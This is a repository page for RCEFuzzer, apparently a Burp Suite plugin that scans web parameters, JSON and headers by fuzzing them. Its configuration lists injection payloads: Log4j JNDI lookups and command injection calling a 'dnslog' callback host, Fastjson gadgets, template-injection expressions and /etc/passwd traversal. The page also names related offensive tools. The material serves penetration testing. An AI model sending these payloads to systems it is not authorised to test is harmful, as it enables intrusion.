• Stars
    star
    150
  • Rank 247,323 (Top 5 %)
  • Language
  • Created 11 months ago
  • Updated 11 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

一个以fuzz为中心思想的被动扫描工具

RCEFuzzer

下载使用

https://github.com/TheKingOfDuck/RCEFuzzer/releases/tag/0.5

参考链接

RCEFuzzer - 被动扫描与fuzz上一些思路的实现

基本介绍

这是一个以fuzz为中心思想的被动扫描工具(该版本是BURP插件,并非独立工具),多数扫描器的工作逻辑是以已知漏洞去冲目标,然后根据条件判断是否存在这个已知的漏洞;rcefuzzer的工作逻辑是以通用payload去污染目标的参数,然后根据条件判断是否存在未知漏洞。

举个例子,假设被动收集到的流量是

https://www.baidu.com

POST /sys/customer/list HTTP/1.1
Host: www.baidu.com
Content-Length: 23
Content-Type: application/json;charset=UTF-8

{"key1":"value1","key2":"eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9","id":1,"isLogin":false,"key3":{"innerkey2":"{\"k3\":\"v3\"}"}}

如果配置了三条通用的payload:

${jndi:ldap://dnslog/log4j}
`whoami`.dnslog
{"@type":"java.net.Inet4Address","val":"dnslog"}

那么rcefuzzer的参数污染模块将对目标发起以下请求:

  • 污染key1的值然后分别发包
  • 通用污染key1的值然后分别发包
  • 尝试自动解码,并污染子JSON的innerkey1的值3次然后分别发包
  • 污染key3的值然后分别发包。
  • 污染子JSONinnerkey2的值,然后分别发包。
  • 尝试解析innerkey2,并污染子JSON的k3的值然后分别发包

理论上总的请求量是3*6=18次。这仅是参数污染模块,如果带上其他模块,那请求量可能是50。如果payload写得多点,原流量大一点,那么可能是5000次。

配置说明


###
#
# 配置说明:
#    1.tweb的配置是必须要改的, 不改显示不了漏洞
#    2.白名单的优先级是高于黑名单的
#    3.所有配置都是可以动态改的, 不用重新加载插件
# 使用说明:
#    https://www.wolai.com/gS5UWgMmHG4ynJQgzL3AYk
###
config:
  version: |  # 插件版本
    0.5
  twebdomain: | # tweb 子域名配置 
    xxxx.ceye.io
  twebapi: |  # tweb api配置 其中KEY为展位符,在新旧版本的tweb均可在Profile页面找到。ceye只是举例 ,实际上任何dnslog平台,只要有api可以get查询log即可
    http://api.ceye.io/v1/records?token=xxxx&type=dns&filter=KEY
  timeout: |  # 扫描过程中的超时配置 非tweb请求超时设置 单位毫秒 60000为60秒
    60000
  hostBlacklistReg: |  # 禁止扫描的域名列表
    (.+?)(gov\.cn|edu\.cn|tweb|google|gstatic)(.+?)
  extBlacklist: |  # 禁止扫描的后缀列表,这不是正则,本来想从passive-scan-client中抄代码的,结果发现他有bug...
    .js|.css|.jpeg|.gif|.jpg|.png|.pdf|.rar|.zip|.docx|.doc|.ico

jsonPollution:
  status:  #on为开启 off为关闭
    on
  allin: | #替换整个json数据包
    {"@type":"java.net.Inet4Address","val":"dnslog"}
  value: | #仅污染json的键值 为了python eval那种情况考虑 不加双引号包裹的话污染结果类似{"test":__import__('os')} {"test":"{\"dtaa\":__import__('os')}"}
    "${jndi:ldap://dnslog/jsonkey}"
    __import__('socket').gethostbyaddr('dnslog')

paramPollution:
  status: #on为开启 off为关闭
    on
  exprs: | #为了兼容有回显的表达式注入/代码执行漏洞
    {{9527*2333}}|22226491
    ${T(java.lang.System).getenv()}|JAVA_HOME
    ${T+++++++(java.lang.System).getenv()}|JAVA_HOME
    {php}var_dump(md5(9527));{/php}|52569c045dc348f12dfc4c85000ad832
    {if+var_dump(md5(9527))}{/if}|52569c045dc348f12dfc4c85000ad832
    ../../../../../../../../../../../../../../../etc/passwd|root
  value: |
    dnslog
    ${jndi:ldap://paramPollution.dnslog/log4j}
    `whoami`.dnslog
    http://dnslog/
    ping+-nc+1+dnslog

headerPollution:
  status: #on为开启 off为关闭
    on
  allin: | #一次性污染除了url和host外的所有请求头
    ${jndi:dns://dnslog/456}
    ${jndi:ldap://dnslog/789}
  headers: | #添加的请求头如果原数据包有则追加原值污染 无则添加后再发包 竖线|为key和value的分隔符号。
    X-Forwarded-For|${jndi:dns://dnslog/456}
    X-Api-Version|${jndi:dns://dnslog/456}

ssrfPollution:
  status: #on为开启 off为关闭
    on

responseMatch:
  status: #on为开启 off为关闭
    off
  expr: | #添加的请求头如果原数据包有则覆盖原值污染 无则添加后再发包
    thinkphp:error


More Repositories

1

fuzzDicts

Web Pentesting Fuzz 字典,一个就够了。
Python
7,379
star
2

burpFakeIP

服务端配置错误情况下用于伪造ip地址进行测试的Burp Suite插件
Java
1,400
star
3

ApkAnalyser

一键提取安卓应用中可能存在的敏感信息。
Shell
951
star
4

easyXssPayload

XssPayload List . Usage:
Python
707
star
5

FileMonitor

文件变化实时监控工具(代码审计/黑盒/白盒审计辅助工具)
Python
697
star
6

MySQLMonitor

MySQL实时监控工具(代码审计/黑盒/白盒审计辅助工具)
Java
453
star
7

Loki

一个轻量级Web蜜罐 - A Little Web Honeypot.🍯🍯🍯🐝🐝🐝
Java
193
star
8

MatryoshkaDollTool

MatryoshkaDollTool-程序加壳/捆绑工具
C#
190
star
9

jsproxy

一个利用浏览器当代理的demo项目,让所有访问者的浏览器成为自己的代理池,所到之处皆为代理节点.
JavaScript
171
star
10

logonTracer

Windows系统安全登录日志分析工具logonTracer汉化修正版
JavaScript
168
star
11

domain_screen

站点批量截图
Python
148
star
12

XSS-Fishing2-CS

鱼儿在cs上线后自动收杆|Automatically stop fishing in javascript after the fish is hooked
PHP
131
star
13

SBCVE

不定期记录一下浪费了时间去关注过的垃圾CVE漏洞。
119
star
14

paramFuzzer

一款高效的参数fuzz工具|A faster param fuzzing test tool
Java
100
star
15

BypassAVAddUsers

绕过杀毒软件添加用户
PHP
95
star
16

evilzip

evilzip lets you create a zip file(with password) that contains files with directory traversal characters in their embedded path.
Java
93
star
17

ReverseGoShell

A Golang Reverse Shell Tool With AES Dynamic Encryption
Go
80
star
18

hashdump

Dumping Windows Local Credentials Tools/Tricks
PowerShell
65
star
19

hostnamePot

通过Web获取访客机器的hostname字段内容。
Java
62
star
20

geacon

修改自geacon的多功能linux运维管理工具
Go
60
star
21

myScripts

一个垃圾桶
PowerShell
60
star
22

Copy2Java

一键生成Java代码的burp插件/Generate Java script for fuzzing in Burp。
Java
50
star
23

JNDI-Injection-Exploit

JNDI注入测试工具改版(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)
Java
46
star
24

burpJsEncrypter

More Easier Burp Extension To Solve Javascript Front End Encryption,一款更易使用的解决前端加密问题的Burp插件。
Java
45
star
25

dnscat2

去除了流量特征的UDP协议跨平台机器管理工具
C++
36
star
26

Loki-bot

多功能Windows机器运维管理工具
C
33
star
27

FileDownloadServer

一个可以查看文件传输进度的Web项目
Java
18
star
28

JoomlaCracker

Joomla 批量爆破工具
Java
14
star
29

TheKingOfDuck

TheKingOfDuck
8
star
30

thekingofduck.github.io

myBlog
HTML
2
star